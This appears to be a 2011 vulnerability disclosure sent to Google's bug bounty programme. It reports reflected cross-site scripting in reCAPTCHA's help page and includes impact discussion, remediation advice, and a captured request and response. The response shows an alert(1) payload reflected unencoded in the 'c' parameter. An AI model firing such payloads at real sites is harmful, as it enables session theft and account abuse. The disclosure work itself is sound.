XSS, Reflected Cross Site Scripting, Best Practices, Vulnerability Management, Captcha Form, google.com
Submitted via Google Vulnerability Rewards Program | Captcha Form XSS
1. Cross-site scripting (reflected)
1. Cross-site scripting (reflected)
The value of the c request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 246f4'><script>alert(1)</script>d60cda5d2ef was submitted in the c parameter. This input was echoed unmodified in the application's response.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
- Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
- User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
|GET /recaptcha/help?c=246f4'><script>alert(1)</script>d60cda5d2ef HTTP/1.1|
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
|HTTP/1.1 200 OK|
Date: Tue, 06 Dec 2011 05:28:42 GMT
Expires: Tue, 06 Dec 2011 05:28:42 GMT
Cache-Control: private, max-age=0
X-XSS-Protection: 1; mode=block
<link rel="stylesheet" href="/recaptcha/mailhide/shared-media/styles.css" type="text/css">
<link rel="shortcut icon" href="/recaptcha/mailhide/shared-media/favicon.ico" type="image/x-icon">
<meta http-equiv="Content-Type" content="text/html; charset=us-ascii"></head>
<body><div class="popupheader" role="banner"><img class="logo" src="/recaptcha/mailhide/shared-media/popup-top-logo.gif" alt="reCAPTCHA: stop spam. read books.">
<div class="popupmain" role="main"><div class="popup-help"><div class="popup-help-column" id="instructions"><div><h1>Instructions</h1>
<ul><li><p>Please enter the words you see in the box, in order and separated by a space. Doing so helps prevent automated programs from abusing this service.</p></li>
<li><p>If you are not sure what the words are, either enter your best guess or click the reload button next to the distorted words.</p></li>
<li><p>Visually impaired users can click the audio button to hear a set of words that can be entered instead of the visual challenge.</p></li>
<li><p>Still need help? <a id='morehelp' href='/recaptcha/help/feedback?c=246f4'><script>alert(1)</script>d60cda5d2ef'><b>Contact us</b></a></p></li></ul></div></div>
<div class="popup-help-column"><div><h1>Helping the World One Word at a Time</h1>
<p>By entering the words in the box, you are also helping to digitize texts that were written before the computer age. The words that you see were taken directly from old texts that are being scanned and stored in digital format in order to preserve them and make them more accessible to the world. Since some of the words in these texts are difficult for computers to process, we are using the results of your efforts to help decipher them.</p>
<p><a href="http://www.google.com/recaptcha/learnmore" target="_blank"><img src="/recaptcha/mailhide/shared-media/learnMore.gif" alt="Learn More!"></a></p></div></div></div></div></body></html>
Report generated by XSS.Cx at Thu Dec 08 12:11:43 CST 2011.